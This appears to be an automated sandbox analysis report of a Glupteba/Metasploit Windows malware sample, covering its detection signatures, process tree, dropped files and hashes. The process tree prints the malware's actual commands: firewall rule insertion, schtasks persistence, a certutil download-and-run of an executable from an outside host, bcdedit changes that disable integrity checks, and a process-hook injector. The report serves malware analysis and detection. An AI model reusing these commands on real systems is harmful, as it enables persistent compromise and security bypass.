Analysis

  • max time kernel
    149s
  • max time network
    100s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    21-12-2024 19:22

General

  • Target

    JaffaCakes118_23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1.exe

  • Size

    4.4MB

  • MD5

    1fe853e868823ae2ccfe72c875b46a0c

  • SHA1

    976048765a280f8f5fd901a4d7409a47fe29fbba

  • SHA256

    23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1

  • SHA512

    ae59bd0aba364feae25b779824281ea1e0c24d7274dd298c1971ef4c70c0c932b1a61fcd907b976b0f809595052cd2d09111a1e0462ce2610c4615a9965134ec

  • SSDEEP

    98304:sREGtCXK4t0BMU/WPxFdf4HzISJ70R5/p6s+d/53ckBg5Y:4EGUXKPBxejd60SJ0H/E/X3ckBgC

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba family
  • Glupteba payload 37 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Metasploit family
  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 13 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • GoLang User-Agent 7 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1.exe
    "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1.exe
      "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3000
      • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1.exe
        "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1.exe"
        3⤵
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2912
        • C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1.exe
          "C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1.exe"
          4⤵
          • Windows security bypass
          • Loads dropped DLL
          • Windows security modification
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2756
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2724
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              • Modifies data under HKEY_USERS
              PID:3040
          • C:\Windows\rss\csrss.exe
            C:\Windows\rss\csrss.exe /188-188
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2372
            • C:\Windows\rss\csrss.exe
              C:\Windows\rss\csrss.exe /188-188
              6⤵
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Loads dropped DLL
              • Manipulates WinMon driver.
              • Manipulates WinMonFS driver.
              • System Location Discovery: System Language Discovery
              • Modifies data under HKEY_USERS
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1348
              • C:\Windows\system32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2916
              • C:\Windows\system32\schtasks.exe
                schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                7⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2076
              • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Modifies system certificate store
                • Suspicious use of WriteProcessMemory
                PID:2308
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2624
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:3064
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1684
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2932
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2872
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2920
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2980
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:1172
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2968
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2348
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2804
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -timeout 0
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:968
                • C:\Windows\system32\bcdedit.exe
                  C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                  8⤵
                  • Modifies boot configuration data using bcdedit
                  PID:2220
              • C:\Windows\system32\bcdedit.exe
                C:\Windows\Sysnative\bcdedit.exe /v
                7⤵
                • Modifies boot configuration data using bcdedit
                PID:2868
              • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                7⤵
                • Executes dropped EXE
                PID:1600
              • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                7⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:2356
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241221192256.log C:\Windows\Logs\CBS\CbsPersist_20241221192256.cab
    1⤵
    • Drops file in Windows directory
    PID:2776

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

    Filesize

    492KB

    MD5

    fafbf2197151d5ce947872a4b0bcbe16

    SHA1

    a86eaa2dd9fc6d36fcfb41df7ead8d1166aea020

    SHA256

    feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71

    SHA512

    acbd49a111704d001a4ae44d1a071d566452f92311c5c0099d57548eddc9b3393224792c602022df5c3dd19b0a1fb4eff965bf038c8783ae109336699f9d13f6

  • C:\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

    Filesize

    94KB

    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • \Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

    Filesize

    281KB

    MD5

    d98e33b66343e7c96158444127a117f6

    SHA1

    bb716c5509a2bf345c6c1152f6e3e1452d39d50d

    SHA256

    5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

    SHA512

    705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\osloader.exe

    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe

    Filesize

    4.4MB

    MD5

    1fe853e868823ae2ccfe72c875b46a0c

    SHA1

    976048765a280f8f5fd901a4d7409a47fe29fbba

    SHA256

    23eb4d1ae06b57ef8dc309fa24e1eb1462858c31c412f89cd8832856f5139bd1

    SHA512

    ae59bd0aba364feae25b779824281ea1e0c24d7274dd298c1971ef4c70c0c932b1a61fcd907b976b0f809595052cd2d09111a1e0462ce2610c4615a9965134ec

  • memory/1348-91-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-49-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-144-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-143-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-142-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-141-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-140-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-139-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-90-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-133-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-92-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-113-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-104-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-77-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-50-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-48-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-51-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-52-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-53-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-54-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-55-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/1348-56-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2124-2-0x0000000003EE0000-0x0000000004807000-memory.dmp

    Filesize

    9.2MB

  • memory/2124-7-0x0000000003AA0000-0x0000000003EDD000-memory.dmp

    Filesize

    4.2MB

  • memory/2124-0-0x0000000003AA0000-0x0000000003EDD000-memory.dmp

    Filesize

    4.2MB

  • memory/2124-1-0x0000000003AA0000-0x0000000003EDD000-memory.dmp

    Filesize

    4.2MB

  • memory/2308-60-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2308-76-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2372-38-0x0000000003960000-0x0000000003D9D000-memory.dmp

    Filesize

    4.2MB

  • memory/2756-27-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2756-21-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2756-26-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2756-24-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2756-35-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2756-25-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/2912-15-0x0000000003CD0000-0x000000000410D000-memory.dmp

    Filesize

    4.2MB

  • memory/3000-8-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/3000-3-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/3000-9-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/3000-12-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/3000-5-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/3000-11-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/3000-14-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/3000-10-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB

  • memory/3000-13-0x0000000000400000-0x0000000000D41000-memory.dmp

    Filesize

    9.3MB